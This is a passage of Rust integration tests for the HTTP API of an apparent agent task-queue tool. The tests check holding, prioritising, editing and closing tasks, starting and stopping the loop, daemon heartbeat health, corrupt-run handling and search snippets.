10084 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10085
10086 assert_eq!(res.status, 409);
10087 assert_eq!(
10088 queue.get(&task.id).expect("reload").status,
10089 TaskStatus::Queued,
10090 "the refused hold changed nothing"
10091 );
10092 }
10093
10094 #[tokio::test]
10095 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
10096 let f = Fixture::start().await;
10097 let queue = f.queue();
10098 let mut task = Task::new(
10099 "waiting on the migration".to_owned(),
10100 "Do the thing".to_owned(),
10101 PathBuf::from("/repo/magi"),
10102 Source::Human,
10103 );
10104 queue.put(&mut task).expect("file the task");
10105
10106 let held = f
10107 .post(
10108 &format!("/api/queue/{}/hold", task.id),
10109 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
10110 )
10111 .await;
10112 assert_eq!(held.status, 200, "{}", held.body);
10113 assert_eq!(held.json()["status_str"], "held");
10114 assert_eq!(
10115 held.json()["hold_reason"],
10116 "waiting for 20260101-000000-aaaa to land"
10117 );
10118
10119 let listed = f.get("/api/queue").await.json();
10120 assert_eq!(
10121 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
10122 "the card reads the reason off the same list route"
10123 );
10124
10125 let mut plain = Task::new(
10128 "no reason given".to_owned(),
10129 "Do another thing".to_owned(),
10130 PathBuf::from("/repo/magi"),
10131 Source::Human,
10132 );
10133 queue.put(&mut plain).expect("file the task");
10134 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
10135 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
10136 assert!(held_plain.json()["hold_reason"].is_null());
10137
10138 let released = f
10139 .post(&format!("/api/queue/{}/release", task.id), None)
10140 .await;
10141 assert_eq!(released.status, 200);
10142 assert!(
10143 released.json()["hold_reason"].is_null(),
10144 "a release must clear the reason so the next hold does not inherit it"
10145 );
10146 }
10147
10148 #[tokio::test]
10149 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
10150 let f = Fixture::start().await;
10151 let queue = f.queue();
10152 let mut older = Task::new(
10153 "filed first".to_owned(),
10154 "x".to_owned(),
10155 PathBuf::from("/repo/magi"),
10156 Source::Human,
10157 );
10158 older.id = "20260101-000001-aaaa".to_owned();
10159 let mut newer = Task::new(
10160 "filed second".to_owned(),
10161 "x".to_owned(),
10162 PathBuf::from("/repo/magi"),
10163 Source::Human,
10164 );
10165 newer.id = "20260101-000002-bbbb".to_owned();
10166 queue.put(&mut older).expect("file older");
10167 queue.put(&mut newer).expect("file newer");
10168
10169 let before = f.get("/api/queue").await.json();
10172 assert_eq!(before[0]["id"], newer.id);
10173 assert_eq!(before[1]["id"], older.id);
10174
10175 let raised = f
10179 .post(
10180 &format!("/api/queue/{}/priority", older.id),
10181 Some(r#"{"priority":10}"#),
10182 )
10183 .await;
10184 assert_eq!(raised.status, 200, "{}", raised.body);
10185 assert_eq!(raised.json()["priority"], 10);
10186
10187 let after = f.get("/api/queue").await.json();
10188 let names: Vec<&str> = after
10189 .as_array()
10190 .unwrap()
10191 .iter()
10192 .map(|t| t["id"].as_str().unwrap())
10193 .collect();
10194 assert_eq!(names[0], older.id, "the raised task now sorts first");
10198 }
10199
10200 #[tokio::test]
10201 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
10202 let f = Fixture::start().await;
10203 let queue = f.queue();
10204 let mut task = Task::new(
10205 "in flight".to_owned(),
10206 "x".to_owned(),
10207 PathBuf::from("/repo/magi"),
10208 Source::Human,
10209 );
10210 task.start("20260902-140502-bbbb".to_owned());
10211 queue.put(&mut task).expect("file the task");
10212
10213 let res = f
10214 .post(
10215 &format!("/api/queue/{}/priority", task.id),
10216 Some(r#"{"priority":9}"#),
10217 )
10218 .await;
10219 assert_eq!(res.status, 400, "{}", res.body);
10220 assert!(
10221 res.json()["error"]
10222 .as_str()
10223 .is_some_and(|e| e.contains("running")),
10224 "{}",
10225 res.body
10226 );
10227 assert_eq!(
10228 queue.get(&task.id).expect("reload").priority,
10229 0,
10230 "the refused write must not partially apply"
10231 );
10232 }
10233
10234 #[tokio::test]
10235 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
10236 let f = Fixture::start().await;
10237 let queue = f.queue();
10238 let mut task = Task::new(
10239 "old title".to_owned(),
10240 "old instruction".to_owned(),
10241 PathBuf::from("/repo/magi"),
10242 Source::Agent {
10243 run: "20260101-000000-beef".to_owned(),
10244 node: "implement".to_owned(),
10245 },
10246 );
10247 task.runs.push("20260101-000000-beef".to_owned());
10248 queue.put(&mut task).expect("file the task");
10249 let created_at = task.created_at;
10250
10251 let edited = f
10252 .post(
10253 &format!("/api/queue/{}/edit", task.id),
10254 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
10255 )
10256 .await;
10257 assert_eq!(edited.status, 200, "{}", edited.body);
10258 let body = edited.json();
10259 assert_eq!(body["title"], "new title");
10260 assert_eq!(body["instruction"], "new instruction");
10261 assert_eq!(body["id"], task.id, "editing must not mint a new id");
10262 assert_eq!(body["created_at"], created_at.to_string());
10263 assert_eq!(
10264 body["source"]["kind"], "agent",
10265 "editing a task an agent filed must not turn it human: {body}"
10266 );
10267 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
10268
10269 let reloaded = queue.get(&task.id).expect("reload");
10270 assert_eq!(reloaded.title, "new title");
10271 assert_eq!(reloaded.instruction, "new instruction");
10272 }
10273
10274 #[tokio::test]
10275 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
10276 let tmp = TempDir::new().expect("tempdir");
10279 let repo = tmp.path().join("repo");
10280 std::fs::create_dir_all(&repo).expect("repo dir");
10281 let judge = MOCK_AGENT_TOML.replace(
10282 "printf ok",
10283 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
10284 );
10285 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
10286 let f = Fixture::with_repo(repo.clone()).await;
10287 let queue = f.queue();
10288 let mut owner = Task::new(
10289 "owner".to_owned(),
10290 "review it".to_owned(),
10291 repo.clone(),
10292 Source::Human,
10293 );
10294 owner.review_branch = Some("magi/ab12/A".to_owned());
10295 queue.put(&mut owner).expect("file the owner");
10296 let mut task = Task::new(
10297 "draft".to_owned(),
10298 "old".to_owned(),
10299 repo.clone(),
10300 Source::Human,
10301 );
10302 queue.put(&mut task).expect("file the draft");
10303 let url = format!("/api/queue/{}/edit", task.id);
10304
10305 let refused = f
10306 .post(
10307 &url,
10308 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
10309 )
10310 .await;
10311 assert_eq!(refused.status, 409, "{}", refused.body);
10312 let msg = refused.json()["error"]
10313 .as_str()
10314 .unwrap_or_default()
10315 .to_owned();
10316 assert!(
10317 msg.contains("magi/ab12/A") && msg.contains("force"),
10318 "{msg}"
10319 );
10320 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
10321
10322 let forced = f
10323 .post(
10324 &url,
10325 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
10326 )
10327 .await;
10328 assert_eq!(forced.status, 200, "{}", forced.body);
10329 }
10330
10331 #[tokio::test]
10332 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
10333 let f = Fixture::start().await;
10334 let queue = f.queue();
10335 let mut task = Task::new(
10336 "in flight".to_owned(),
10337 "do not touch".to_owned(),
10338 PathBuf::from("/repo/magi"),
10339 Source::Human,
10340 );
10341 task.start("20260902-140502-bbbb".to_owned());
10342 queue.put(&mut task).expect("file the task");
10343
10344 let res = f
10345 .post(
10346 &format!("/api/queue/{}/edit", task.id),
10347 Some(r#"{"title":"x","instruction":"y"}"#),
10348 )
10349 .await;
10350 assert_eq!(res.status, 400, "{}", res.body);
10351 assert!(
10352 res.json()["error"]
10353 .as_str()
10354 .is_some_and(|e| e.contains("running")),
10355 "{}",
10356 res.body
10357 );
10358 assert_eq!(
10359 queue.get(&task.id).expect("reload").instruction,
10360 "do not touch",
10361 "the refused edit must not change the file"
10362 );
10363 }
10364
10365 #[tokio::test]
10366 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
10367 let f = Fixture::start().await;
10368 let queue = f.queue();
10369 let mut task = Task::new(
10370 "busy".to_owned(),
10371 "Running right now".to_owned(),
10372 PathBuf::from("/repo/magi"),
10373 Source::Human,
10374 );
10375 queue.put(&mut task).expect("file the task");
10376 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10377
10378 let priority = f
10379 .post(
10380 &format!("/api/queue/{}/priority", task.id),
10381 Some(r#"{"priority":9}"#),
10382 )
10383 .await;
10384 assert_eq!(priority.status, 409, "{}", priority.body);
10385
10386 let edit = f
10387 .post(
10388 &format!("/api/queue/{}/edit", task.id),
10389 Some(r#"{"title":"x","instruction":"y"}"#),
10390 )
10391 .await;
10392 assert_eq!(edit.status, 409, "{}", edit.body);
10393 }
10394
10395 #[tokio::test]
10396 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
10397 let f = Fixture::start().await;
10398 let queue = f.queue();
10399 let mut task = Task::new(
10400 "shipped by hand".to_owned(),
10401 "merged outside the loop".to_owned(),
10402 PathBuf::from("/repo/magi"),
10403 Source::Agent {
10404 run: "20260101-000000-b455".to_owned(),
10405 node: "implement".to_owned(),
10406 },
10407 );
10408 task.runs.push("20260101-000000-b455".to_owned());
10409 task.runs.push("20260101-000000-9af4".to_owned());
10410 queue.put(&mut task).expect("file the task");
10411 let created_at = task.created_at;
10412
10413 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10414 assert_eq!(done.status, 200, "{}", done.body);
10415 assert_eq!(done.json()["status_str"], "done");
10416
10417 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
10418 assert_eq!(
10419 reloaded.runs,
10420 ["20260101-000000-b455", "20260101-000000-9af4"]
10421 );
10422 assert_eq!(
10423 reloaded.source,
10424 Source::Agent {
10425 run: "20260101-000000-b455".to_owned(),
10426 node: "implement".to_owned(),
10427 }
10428 );
10429 assert_eq!(reloaded.created_at, created_at);
10430 }
10431
10432 #[tokio::test]
10433 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
10434 let f = Fixture::start().await;
10439 let queue = f.queue();
10440 let mut task = Task::new(
10441 "landed while held".to_owned(),
10442 "x".to_owned(),
10443 PathBuf::from("/repo/magi"),
10444 Source::Human,
10445 );
10446 task.hold_manual(Some("waiting on 3ed9".to_owned()));
10447 queue.put(&mut task).expect("file the held task");
10448
10449 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10450 assert_eq!(done.status, 200, "{}", done.body);
10451 assert_eq!(done.json()["status_str"], "done");
10452 assert!(
10453 done.json()["hold_reason"].is_null(),
10454 "a done task cannot still be waiting on something: {}",
10455 done.body
10456 );
10457 }
10458
10459 #[tokio::test]
10460 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
10461 let f = Fixture::start().await;
10466 let queue = f.queue();
10467 let runs = f.runs();
10468 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
10469 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
10473
10474 let mut task = Task::new(
10475 "landed by hand".to_owned(),
10476 "x".to_owned(),
10477 PathBuf::from("/repo/magi"),
10478 Source::Human,
10479 );
10480 task.runs.push("20260101-000000-doa1".to_owned());
10481 task.runs.push("20260101-000000-doa2".to_owned());
10482 queue.put(&mut task).expect("file the task");
10483
10484 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10485 assert_eq!(done.status, 200, "{}", done.body);
10486
10487 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
10488 .expect("run still on disk under this fixture's own home");
10489 assert_eq!(
10490 reloaded_run.status,
10491 RunStatus::Superseded,
10492 "closing the task by hand must relabel the earlier blocked attempt exactly \
10493 like the loop's own settle path does"
10494 );
10495 }
10496
10497 #[tokio::test]
10498 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
10499 let f = Fixture::start().await;
10504 let queue = f.queue();
10505 let runs = f.runs();
10506 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
10507 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
10508
10509 let mut task = Task::new(
10510 "closed with nothing actually landed".to_owned(),
10511 "x".to_owned(),
10512 PathBuf::from("/repo/magi"),
10513 Source::Human,
10514 );
10515 task.runs.push("20260101-000000-dob1".to_owned());
10516 task.runs.push("20260101-000000-dob2".to_owned());
10517 queue.put(&mut task).expect("file the task");
10518
10519 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10520 assert_eq!(done.status, 200, "{}", done.body);
10521
10522 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
10523 .expect("run still on disk under this fixture's own home");
10524 assert_eq!(
10525 reloaded_run.status,
10526 RunStatus::Blocked,
10527 "the last recorded attempt never landed, so the earlier one must not be \
10528 relabelled as superseded by it"
10529 );
10530 }
10531
10532 #[tokio::test]
10533 async fn unknown_ids_are_json_not_found_on_both_stores() {
10534 let f = Fixture::start().await;
10535
10536 let run = f.get("/api/runs/nosuchrun").await;
10537 let task = f.post("/api/queue/nosuchtask/hold", None).await;
10538
10539 assert_eq!(run.status, 404);
10540 assert_eq!(task.status, 404);
10541 assert!(
10542 run.json()["error"]
10543 .as_str()
10544 .is_some_and(|e| e.contains("run")),
10545 "the error names what was not found: {}",
10546 run.body
10547 );
10548 assert!(
10549 task.json()["error"]
10550 .as_str()
10551 .is_some_and(|e| e.contains("task")),
10552 "the error names what was not found: {}",
10553 task.body
10554 );
10555 }
10556
10557 #[tokio::test]
10558 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
10559 let f = Fixture::start().await;
10560
10561 let missing = f.get("/api/health").await.json();
10562 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
10563
10564 write_daemon(
10565 f.home.path(),
10566 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10567 );
10568 let stale = f.get("/api/health").await.json();
10569 assert_eq!(
10570 stale["daemon"]["running"], false,
10571 "a minute without a heartbeat is a dead daemon, not a busy one"
10572 );
10573 assert!(
10574 stale["daemon"]["stale_for_secs"]
10575 .as_i64()
10576 .is_some_and(|s| s >= 55),
10577 "staleness is reported so the UI can say how long: {stale}"
10578 );
10579
10580 write_daemon(f.home.path(), Timestamp::now());
10581 let fresh = f.get("/api/health").await.json();
10582 assert_eq!(fresh["daemon"]["running"], true);
10583 assert_eq!(fresh["daemon"]["idle"], false);
10584 assert_eq!(fresh["daemon"]["pid"], 4242);
10585 assert_eq!(fresh["daemon"]["completed"], 7);
10586 assert_eq!(
10587 fresh["daemon"]["current"][0]["task"],
10588 "20260902-140501-aaaa"
10589 );
10590 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
10591 }
10592
10593 #[tokio::test]
10594 async fn the_loop_is_not_running_until_something_starts_it() {
10595 let f = Fixture::start().await;
10596
10597 let view = f.get("/api/loop").await.json();
10598 assert_eq!(view["running"], false);
10599 assert_eq!(
10600 view["owned"], false,
10601 "nobody owns a loop that does not exist: {view}"
10602 );
10603 assert_eq!(view["stopping"], false);
10604 assert_eq!(view["last_error"], Value::Null);
10605 assert_eq!(view["daemon"]["running"], false);
10606 assert_eq!(
10607 view["repo"], "/repo/magi",
10608 "the repository a start would use, named before it is started"
10609 );
10610 }
10611
10612 #[tokio::test]
10613 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
10614 let f = Fixture::start().await;
10615
10616 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10617 assert_eq!(res.status, 200, "{}", res.body);
10618 let view = res.json();
10619 assert_eq!(view["running"], true);
10620 assert_eq!(
10621 view["owned"], true,
10622 "the loop the UI started is the UI's own to stop: {view}"
10623 );
10624 assert_eq!(
10625 view["merge"],
10626 Value::Null,
10627 "no override was given, so each repository's own config decides"
10628 );
10629
10630 let health = f.get("/api/health").await.json();
10634 assert_eq!(health["loop"]["running"], true, "{health}");
10635 assert_eq!(health["loop"]["owned"], true, "{health}");
10636
10637 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10638 }
10639
10640 #[tokio::test]
10641 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
10642 let f = Fixture::start().await;
10643 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10644 assert_eq!(first.status, 200, "{}", first.body);
10645
10646 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10647 assert_eq!(
10648 again.status, 409,
10649 "two loops on one queue race for the same claims: {}",
10650 again.body
10651 );
10652 assert!(
10653 again.json()["error"]
10654 .as_str()
10655 .is_some_and(|e| e.contains("already running the loop")),
10656 "the refusal has to say why: {}",
10657 again.body
10658 );
10659 assert_eq!(
10660 f.get("/api/loop").await.json()["running"],
10661 true,
10662 "and the loop that was already running is untouched by it"
10663 );
10664
10665 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10666 }
10667
10668 #[tokio::test]
10669 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
10670 let f = Fixture::start().await;
10671 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10672
10673 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10674 assert_eq!(
10675 res.status, 200,
10676 "the answer must not wait for the loop: a run in flight is tens of \
10677 minutes and the operator is holding a phone: {}",
10678 res.body
10679 );
10680
10681 let view = settled(&f, |v| v["running"] == false).await;
10682 assert_eq!(view["owned"], false);
10683 assert_eq!(
10684 view["stopping"], false,
10685 "a loop that has stopped is not still stopping: {view}"
10686 );
10687 assert_eq!(
10688 view["last_error"],
10689 Value::Null,
10690 "a loop that was asked to stop did not fail: {view}"
10691 );
10692
10693 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10696 assert_eq!(twice.status, 200, "{}", twice.body);
10697 }
10698
10699 #[tokio::test]
10700 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
10701 let f = Fixture::start().await;
10702 write_daemon(f.home.path(), Timestamp::now());
10705
10706 let view = f.get("/api/loop").await.json();
10707 assert_eq!(view["running"], false, "not in this process: {view}");
10708 assert_eq!(view["owned"], false, "and not this process's to control");
10709 assert_eq!(
10710 view["daemon"]["running"], true,
10711 "but a loop is alive somewhere, which is what the UI must say"
10712 );
10713 assert_eq!(view["daemon"]["pid"], 4242);
10714
10715 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
10716 let res = f.post("/api/loop", Some(body)).await;
10717 assert_eq!(
10718 res.status, 409,
10719 "neither button may pretend to work on someone else's loop: {}",
10720 res.body
10721 );
10722 assert!(
10723 res.json()["error"]
10724 .as_str()
10725 .is_some_and(|e| e.contains("4242")),
10726 "the refusal has to name the process the operator must go to: {}",
10727 res.body
10728 );
10729 }
10730 assert_eq!(
10731 f.get("/api/loop").await.json()["running"],
10732 false,
10733 "and the refusal started nothing"
10734 );
10735 }
10736
10737 #[tokio::test]
10738 async fn a_stale_status_file_is_not_a_foreign_owner() {
10739 let f = Fixture::start().await;
10740 write_daemon(
10741 f.home.path(),
10742 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10743 );
10744
10745 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10746 assert_eq!(
10747 res.status, 200,
10748 "a daemon killed a minute ago must not lock the loop out of its \
10749 own home for good: {}",
10750 res.body
10751 );
10752 assert_eq!(res.json()["running"], true);
10753
10754 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10755 }
10756
10757 #[tokio::test]
10758 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
10759 let f = Fixture::start().await;
10760 let before = f.get("/api/health").await.json()["loop_rev"]
10761 .as_u64()
10762 .expect("a loop revision");
10763
10764 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10765
10766 let after = f.get("/api/health").await.json()["loop_rev"]
10767 .as_u64()
10768 .expect("a loop revision");
10769 assert!(
10770 after > before,
10771 "the loop is in-process state, so this counter is the only thing \
10772 that tells a second device the first one started it: {before} -> \
10773 {after}"
10774 );
10775
10776 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10777 }
10778
10779 #[tokio::test]
10780 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
10781 let f = Fixture::with_loop(launch_broken).await;
10782
10783 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10784 assert_eq!(
10785 res.status, 200,
10786 "starting it is not the failure: {}",
10787 res.body
10788 );
10789
10790 let view = settled(&f, |v| v["last_error"].is_string()).await;
10791 assert_eq!(
10792 view["running"], false,
10793 "a loop that died must not read as running, or the operator has \
10794 nothing to press: {view}"
10795 );
10796 assert_eq!(view["owned"], false);
10797 assert!(
10798 view["last_error"]
10799 .as_str()
10800 .is_some_and(|e| e.contains("read-only file system")),
10801 "the phone is where a loop that died at 3am is visible: {view}"
10802 );
10803
10804 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10807 assert_eq!(again.status, 200, "{}", again.body);
10808 assert_eq!(
10809 again.json()["last_error"],
10810 Value::Null,
10811 "a fresh start does not keep showing why the last one died"
10812 );
10813 }
10814
10815 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
10827 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
10828 let home = TempDir::new().expect("temp home");
10829 let runs = home.path().join("runs");
10830 std::fs::create_dir_all(&runs).expect("runs dir");
10831 let ui = Ui::new(
10832 Queue::at(home.path().join("queue")),
10833 Questions::at(home.path().join("questions")),
10834 Talks::at(home.path().join("talks")),
10835 runs,
10836 home.path().to_path_buf(),
10837 PathBuf::from("/repo/magi"),
10838 )
10839 .with_worktrees_root(home.path().join("wt"))
10840 .with_launch(launch_knocking_on_the_way_out);
10841 let looping = ui.looping();
10842 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10843 .await
10844 .expect("bind loopback");
10845 let addr = listener.local_addr().expect("local addr");
10846 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
10847 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
10848
10849 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
10850 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
10851
10852 let bound = std::sync::Mutex::new(None);
10867 hand_over(home.path(), &looping, served, |_| {
10868 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
10869 let attempt = loop {
10870 match std::net::TcpListener::bind(addr) {
10871 Ok(l) => {
10872 drop(l);
10873 break Ok(());
10874 }
10875 Err(e)
10876 if e.kind() == std::io::ErrorKind::AddrInUse
10877 && std::time::Instant::now() < deadline =>
10878 {
10879 std::thread::sleep(std::time::Duration::from_millis(10));
10880 }
10881 Err(e) => break Err(e.to_string()),
10882 }
10883 };
10884 *bound.lock().expect("bound") = Some(attempt);
10885 Ok(1)
10886 })
10887 .await
10888 .expect("hand over");
10889
10890 assert_eq!(
10891 *PARK_HEARD.lock().expect("park heard"),
10892 Some(200),
10893 "the deck must answer while the loop is parking"
10894 );
10895 let attempt = bound
10896 .lock()
10897 .expect("bound")
10898 .take()
10899 .expect("the successor was started");
10900 assert!(
10901 attempt.is_ok(),
10902 "and the address must be free by the time it is: {attempt:?}"
10903 );
10904 }
10905
10906 #[tokio::test]
10907 async fn a_newer_daemon_status_file_still_renders() {
10908 let f = Fixture::start().await;
10909 std::fs::write(
10912 f.home.path().join("daemon.json"),
10913 serde_json::json!({
10914 "schema": 2,
10915 "updated_at": Timestamp::now().to_string(),
10916 "idle": true,
10917 "surprise": { "nested": [1, 2, 3] },
10918 })
10919 .to_string(),
10920 )
10921 .expect("write daemon.json");
10922
10923 let health = f.get("/api/health").await;
10924
10925 assert_eq!(health.status, 200);
10926 assert_eq!(health.json()["daemon"]["running"], true);
10927 }
10928
10929 #[tokio::test]
10930 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
10931 let f = Fixture::start().await;
10932 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10933 let broken = f.runs().join("20260902-140502-bad");
10934 std::fs::create_dir_all(&broken).expect("run dir");
10935 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10936
10937 let list = f.get("/api/runs").await;
10938 let detail = f.get("/api/runs/20260902-140502-bad").await;
10939
10940 assert_eq!(list.status, 200);
10941 let listed = list.json();
10942 let ids: Vec<&str> = listed
10943 .as_array()
10944 .expect("an array")
10945 .iter()
10946 .map(|r| r["id"].as_str().expect("an id"))
10947 .collect();
10948 assert_eq!(
10949 ids,
10950 vec!["20260902-140501-good"],
10951 "one unreadable run must not cost the operator the whole history"
10952 );
10953 assert_eq!(detail.status, 500);
10954 assert!(
10955 detail.json()["error"]
10956 .as_str()
10957 .is_some_and(|e| e.contains("run.json")),
10958 "the failure names the file to look at: {}",
10959 detail.body
10960 );
10961 let health = f.get("/api/health").await;
10965 assert_eq!(health.json()["runs_unreadable"], 1);
10966 }
10967
10968 #[tokio::test]
10970 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
10971 let f = Fixture::start().await;
10972 let runs = f.runs();
10973 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
10974 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
10975 let path = runs.join("20260902-140502-bbbb").join("run.json");
10978 let mut v: serde_json::Value =
10979 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
10980 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
10981 std::fs::write(&path, v.to_string()).unwrap();
10982 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
10983 std::fs::write(
10984 runs.join("20260902-140503-cccc").join("run.json"),
10985 "{ not json",
10986 )
10987 .unwrap();
10988
10989 let res = f.get("/api/search?scope=runs&q=quokka").await;
10990 assert_eq!(res.status, 200, "{}", res.body);
10991 let v = res.json();
10992 assert_eq!(v["total"], 1, "{v}");
10993 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
10994 assert_eq!(v["hits"][0]["field"], "text");
10995 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
10996 let parts = v["hits"][0]["snippet"].as_array().unwrap();
10997 assert!(
10998 parts
10999 .iter()
11000 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
11001 "{v}"
11002 );
11003 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
11004 assert_eq!(
11005 flat, "The Quokka leaks across threads",
11006 "whitespace is collapsed"
11007 );
11008
11009 let both = f
11011 .get("/api/search?scope=runs&q=MOBILE%20quokka")
11012 .await
11013 .json();
11014 assert_eq!(both["total"], 1, "{both}");
11015 let neither = f
11016 .get("/api/search?scope=runs&q=quokka%20zebra")
11017 .await
11018 .json();
11019 assert_eq!(neither["total"], 0, "{neither}");
11020 let stmt = f
11022 .get("/api/search?scope=runs&q=mobile%20first")
11023 .await
11024 .json();
11025 assert_eq!(stmt["total"], 2, "{stmt}");
11026 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
11027 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
11028 }
11029
11030 #[test]
11031 fn snippet_ignores_terms_longer_than_the_field() {
11032 let terms = ["ok".to_owned(), "elephant".to_owned()];
11033 let parts = snippet_of("ok", &terms);
11034 assert_eq!(
11035 parts,
11036 vec![SnippetPart {
11037 text: "ok".to_owned(),
11038 hit: true
11039 }]
11040 );
11041 }
11042
11043 #[test]
11044 fn snippet_marks_matches_longer_than_the_window() {
11045 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
11046 let hit_len = |parts: &[SnippetPart]| -> usize {
11047 parts
11048 .iter()
11049 .filter(|p| p.hit)
11050 .map(|p| p.text.chars().count())
11051 .sum()
11052 };
11053 let total =
11054 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
11055
11056 let long = "a".repeat(120);
11057 let parts = snippet_of(&long, std::slice::from_ref(&long));
11058 assert!(hit_len(&parts) > 0, "{parts:?}");
11059 assert!(total(&parts) <= cap);
11060
11061 let ja = "あ".repeat(130);
11062 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
11063 assert!(hit_len(&parts) > 0, "{parts:?}");
11064 assert!(total(&parts) <= cap);
11065
11066 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
11068 let term = format!("ab{}", "c".repeat(100));
11069 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
11070 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
11071 assert!(total(&parts) <= cap);
11072
11073 let text = format!("{}z", "a".repeat(119));
11075 let parts = snippet_of(&text, &["a".repeat(120)]);
11076 assert_eq!(hit_len(&parts), 0, "{parts:?}");
11077 }
11078
11079 #[tokio::test]
11080 async fn search_caps_hits_and_snippet_length() {
11081 let f = Fixture::start().await;
11082 let runs = f.runs();
11083 for n in 0..(SEARCH_MAX_HITS + 5) {
11084 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
11085 }
11086 let v = f.get("/api/search?scope=runs&q=web").await.json();
11087 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
11088 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
11089 assert_eq!(v["truncated"], true);
11090 assert!(
11092 v["hits"]
11093 .as_array()
11094 .unwrap()
11095 .iter()
11096 .all(|h| h["run"]["status"] == "merged")
11097 );
11098
11099 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
11100 let parts = snippet_of(&long, &["needle".to_owned()]);
11101 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
